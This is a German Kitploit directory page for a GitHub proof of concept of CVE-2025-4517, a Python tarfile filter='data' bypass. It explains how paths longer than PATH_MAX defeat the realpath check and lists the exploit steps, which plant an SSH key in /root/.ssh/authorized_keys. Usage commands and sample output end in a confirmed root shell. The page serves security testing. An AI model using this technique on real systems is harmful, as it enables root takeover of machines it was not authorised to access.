Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/estebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubestebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

Pfad-Traversal-Sicherheitslücke in Pythons tarfile.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

CVE-2025-4517 — Umgehung des Python tarfile filter="data" (PoC)

Path-Traversal-Schwachstelle im Python-Modul tarfile, die die Versionen 3.8.0 bis 3.13.1 betrifft. Die Sandbox filter="data" – die dazu gedacht ist, unsichere Extraktionen zu verhindern – kann umgangen werden, indem Pfade erstellt werden, die PATH_MAX (4096 Bytes) überschreiten, wodurch os.path.realpath() stillschweigend aufhört, Symlinks aufzulösen. Die Sicherheitsprüfung sieht einen sicher aussehenden Pfad, während der Kernel den tatsächlichen auflöst, was Schreibvorgänge außerhalb des Extraktionsverzeichnisses ermöglicht. Dieser PoC nutzt die Umgehung aus, um einen SSH-öffentlichen Schlüssel in /root/.ssh/authorized_keys zu schreiben.


Funktionsweise

  1. Erstellt ein bösartiges Tar mit tief verschachtelten Verzeichnissen (Namen mit 247 Zeichen), die Symlink-Pfade über PATH_MAX hinaus treiben.
  2. filter="data" ruft os.path.realpath() auf, um jeden Pfad zu validieren – aber bei PATH_MAX hört es auf aufzulösen und sieht den Pfad als immer noch innerhalb des Staging-Verzeichnisses. Die Prüfung besteht.
  3. Der Kernel löst den vollständigen Pfad während der Extraktion korrekt auf und entkommt so der Sandbox.
  4. Eine reguläre Datei wird durch die entkommene Symlink-Kette geschrieben und landet in /root/.ssh/authorized_keys.
  5. Der SSH-Zugriff als root wird mit dem eingefügten Schlüssel verifiziert.

Voraussetzungen

  • Python 3
  • ssh-keygen verfügbar (oder eigenen öffentlichen Schlüssel mit -k bereitstellen)
  • Schreibzugriff auf das vom anfälligen Skript verwendete Backup-Verzeichnis
  • sudo-Rechte, um die anfällige Extraktion auszulösen

Verwendung

root@kitploit:~
# Generate a new keypair automatically
python3 exploit.py

# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub

Beispiel:

root@kitploit:~
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================

[?] Open root shell now? (y/n):

Referenzen

  • CVE-2025-4517
  • Python tarfile Dokumentation — Extraktionsfilter
  • Python Sicherheitshinweis

Danksagungen

  • Entdeckung: Python Security Response Team
  • Bereinigung und Vereinfachung: Esteban Zárate
Tool herunterladen